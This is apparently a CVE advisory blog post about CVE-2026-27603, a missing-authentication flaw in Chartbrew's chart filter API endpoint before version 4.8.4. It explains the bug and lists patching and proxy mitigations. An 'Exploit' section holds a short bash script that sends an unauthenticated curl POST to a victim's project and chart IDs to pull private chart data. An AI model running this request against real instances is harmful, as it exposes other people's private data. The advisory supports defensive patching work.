Listen to this Post
How CVE-2026-27603 Works:
This vulnerability resides in the Chartbrew API, specifically the endpoint /project/:project_id/chart/:chart_id/filter. Chartbrew versions prior to 4.8.4 failed to implement proper authorization checks on this particular route. The endpoint was missing two critical middleware components: `verifyToken` (which ensures a user is logged in) and `checkPermissions` (which verifies the authenticated user has rights to the specific project and chart). Because these checks were absent, the endpoint did not validate the identity or authorization of the requester. Consequently, an unauthenticated attacker who knows or can guess valid project and chart IDs could send a POST request to this filter endpoint. The server would process the request and return sensitive chart data that should have been protected. This allows any external party to bypass the login screen entirely and access private data visualizations and the underlying queried information from any team or project within the application. The vulnerability is rated HIGH due to the network attack vector, low complexity, and high impact on data confidentiality .
DailyCVE Form:
Platform: Chartbrew
Version: < 4.8.4
Vulnerability : Missing Authentication
Severity: HIGH
Date: 10 March 2026
Prediction: Patch exists
What Undercode Say:
Analytics:
The vulnerability (CWE-306) allows unauthenticated access to sensitive chart data via the `/project/:project_id/chart/:chart_id/filter` endpoint. Successful exploitation requires no user interaction and poses a high risk to data confidentiality .
Exploit:
Exploit Chartbrew < 4.8.4 - Unauthenticated Chart Data Disclosure
Date: 2026-03-10
Exploit Author: Undercode
Vendor Homepage: https://chartbrew.com
Version: < 4.8.4
CVE: CVE-2026-27603
!/bin/bash
TARGET="http://example.com"
PROJECT_ID="victim_project_id"
CHART_ID="victim_chart_id"
curl -X POST "$TARGET/project/$PROJECT_ID/chart/$CHART_ID/filter" \
-H "Content-Type: application/json" \
-d '{}' \
-v
Protection from this CVE:
- Update to Chartbrew version 4.8.4 or later immediately .
- If immediate update is not possible, implement a reverse proxy rule to block POST requests to the `/project//chart//filter` pattern for unauthenticated users.
- Verify that the `verifyToken` and `checkPermissions` middleware functions are correctly applied to all API routes in custom deployments.
Impact:
An unauthenticated attacker can access any chart data from any team or project within a vulnerable Chartbrew instance, leading to complete loss of data confidentiality for all visualizations and connected data sources.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
